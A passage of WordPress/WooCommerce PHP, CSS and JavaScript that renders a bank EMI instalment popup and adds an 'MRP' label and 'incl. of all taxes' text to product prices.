<?php
$logo = $bank['bank_logo'] ?? '';
$logo_url = '';
if ($logo) {
$logo_url = is_array($logo) && isset($logo['url']) ? $logo['url'] : $logo;
}
if ($logo_url): ?>
<img src="<?php echo esc_url($logo_url); ?>" alt="<?php echo esc_attr($bank['bank_name']); ?>" />
<?php endif; ?>
<span class="bank-name"><?php echo esc_html($bank['bank_name']); ?></span>
<span class="arrow">▼</span>
</div>
<div class="emi-details">
<table>
<tbody>
<?php if (!empty($bank['emi_plans'])): foreach ($bank['emi_plans'] as $plan): ?>
<tr>
<td><?php echo intval($plan['months']); ?> Months</td>
<td>₹<?php echo number_format($plan['amount']); ?>/mo</td>
</tr>
<?php endforeach; endif; ?>
</tbody>
</table>
</div>
<?php endforeach; ?>
</div>
</div>
<style>
.price-with-emi { display: flex; align-items: center; gap: 24px; flex-wrap: wrap; margin-bottom: 15px; }
.main-price-block .main-price { font-size: 22px; font-weight: 600; }
.or-divider { font-size: 14px; background: #333; color: #fff; padding: 2px 10px; border-radius: 4px; font-weight: 500; }
.emi-price-block { display: flex; flex-direction: column; align-items: flex-start; font-size: 16px; color: #000; }
.emi-price-block .emi-amount { font-weight: 500; }
.emi-price-block .emi-link { color: #0073E6; font-size: 14px; text-decoration: underline; margin-top: 2px; }
.emi-popup {
position: fixed; top: 0; left: 0; width: 100%; height: 100%;
background: rgba(0,0,0,0.9); display: none;
justify-content: center; align-items: center; z-index: 9999;
}
.emi-popup-content {
background: #111; padding: 25px; border-radius: 12px;
width: 420px; max-height: 80vh; overflow-y: auto; color: #fff; position: relative;
}
.emi-popup-content h3 { margin-bottom: 15px; font-size: 22px; color: #00ffb3; font-weight: bold; }
.close-btn { position: absolute; top: 12px; right: 15px; font-size: 22px; color: #fff; cursor: pointer; }
.emi-bank {
display: flex; align-items: center; justify-content: space-between;
background: #1a1a1a; padding: 12px; margin-bottom: 10px; border-radius: 8px; cursor: pointer;
}
.emi-bank .bank-name { flex-grow: 1; margin-left: 10px; font-size: 15px; }
.emi-bank .arrow { font-size: 16px; color: #00ffb3; }
.emi-details {
display: none; background: #0e0e0e; padding: 10px; border-radius: 0 0 8px 8px;
}
.emi-details td {
padding: 6px; border-bottom: 1px solid #222; color: #ccc;
}
.emi-details table {
border-width: 1px;
}
</style>
<script>
function openEmiPopup() {
document.getElementById("emiPopup").style.display = "flex";
}
function closeEmiPopup() {
document.getElementById("emiPopup").style.display = "none";
}
function toggleEmiDetails(el) {
const details = el.nextElementSibling;
if (details.style.display === "block") {
details.style.display = "none";
el.classList.remove("active");
} else {
details.style.display = "block";
el.classList.add("active");
}
}
</script>
<?php
});
add_filter('woocommerce_get_price_html', 'custom_mrp_and_tax_text', 10, 2);
add_filter('woocommerce_variation_price_html', 'custom_mrp_and_tax_text', 10, 2);
function custom_mrp_and_tax_text($price, $product) {
if (! is_product()) {
return $price;
}
$currency_symbol = get_woocommerce_currency_symbol();
// If product is on sale
if ($product->is_on_sale()) {
$regular_price = wc_price($product->get_regular_price());
$sale_price = wc_price($product->get_sale_price());
$price = '<span class="mrp-label">MRP </span> <del class="regular-price">' . $regular_price . '
</del>
<ins class="sale-price">' . $sale_price . '</ins>';
} else {
// Non-sale price
$price = '<span class="mrp-label">MRP </span>' . $price;
}
// Append tax text
$price .= '<span class="tax-text" style="font-size: 14px; color: #636363; font-weight: 400;"> (Incl. of all taxes)</span>';
return $price;
}